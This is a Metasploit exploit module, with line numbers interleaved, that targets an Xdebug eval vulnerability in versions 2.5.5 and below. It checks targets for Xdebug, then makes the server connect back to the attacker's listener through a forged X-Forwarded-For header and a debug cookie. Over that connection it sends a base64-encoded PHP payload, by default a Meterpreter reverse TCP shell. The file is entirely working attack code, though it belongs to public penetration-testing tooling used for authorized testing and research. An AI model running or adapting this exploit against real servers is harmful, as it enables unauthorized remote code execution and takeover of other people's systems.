1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::HttpClient
11
  include Rex::Proto::Http
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'xdebug Unauthenticated OS Command Execution',
18
        'Description' => %q{
19
          Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below.
20
          This allows the attacker to execute arbitrary php code as the context of the web user.
21
        },
22
        'DisclosureDate' => '2017-09-17',
23
        'Author' => [
24
          'Ricter Zheng', # Discovery https://twitter.com/RicterZ
25
          'Shaksham Jaiswal', # MinatoTW
26
          'Mumbai' # Austin Hudson
27
        ],
28
        'References' => [
29
          ['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'],
30
          ['URL', 'http://web.archive.org/web/20231226215418/https://paper.seebug.org/397/']
31
        ],
32
        'License' => MSF_LICENSE,
33
        'Platform' => 'php',
34
        'Arch' => [ARCH_PHP],
35
        'DefaultTarget' => 0,
36
        'Stance' => Msf::Exploit::Stance::Aggressive,
37
        'DefaultOptions' => {
38
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
39
        },
40
        'Payload' => {
41
          'DisableNops' => true,
42
        },
43
        'Targets' => [[ 'Automatic', {} ]],
44
        'Notes' => {
45
          'Reliability' => UNKNOWN_RELIABILITY,
46
          'Stability' => UNKNOWN_STABILITY,
47
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
        }
49
      )
50
    )
51

52
    register_options([
53
      OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]),
54
      OptAddress.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]),
55
      OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]),
56
      Opt::RPORT(80),
57
    ])
58
  end
59

60
  def check
61
    begin
62
      res = send_request_cgi({
63
        'uri' => datastore["PATH"],
64
        'method' => 'GET',
65
        'vars_get' => {
66
          'XDEBUG_SESSION_START' => rand_text_alphanumeric(10)
67
        }
68
      })
69
      vprint_status "Request sent\n#{res}"
70
      if res && res.headers.to_s =~ /XDEBUG/i
71
        vprint_good("Looks like remote server has xdebug enabled\n")
72
        return CheckCode::Detected
73
      else
74
        return CheckCode::Safe
75
      end
76
    rescue Rex::ConnectionError
77
      return CheckCode::Unknown
78
    end
79
  end
80

81
  def exploit
82
    payl = Rex::Text.encode_base64("#{payload.encoded}")
83
    cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("eval(base64_decode(\"#{payl}\"));") + "\x00"
84
    webserver = Thread.new do
85
      begin
86
        server = Rex::Socket::TcpServer.create(
87
          'LocalPort' => datastore['SRVPORT'],
88
          'LocalHost' => datastore['SRVHOST'],
89
          'Context' => {
90
            'Msf' => framework,
91
            'MsfExploit' => self
92
          }
93
        )
94

95
        client = server.accept
96
        print_status("Waiting for client response.")
97
        data = client.recv(1024)
98
        print_status("Receiving response")
99
        vprint_line(data)
100
        print_status("Shell might take upto a minute to respond.Please be patient.")
101
        print_status("Sending payload of size #{cmd1.length} bytes")
102
        client.write(cmd1)
103
        client.close
104
        server.close
105
        webserver.exit
106
      ensure
107
        webserver.exit
108
      end
109
    end
110
    send_request_cgi({
111
      'uri' => datastore['PATH'],
112
      'method' => 'GET',
113
      'headers' => {
114
        'X-Forwarded-For' => "#{lhost}",
115
        'Cookie' => 'XDEBUG_SESSION=' + rand_text_alphanumeric(10)
116
      }
117
    })
118
  end
119
end
120

121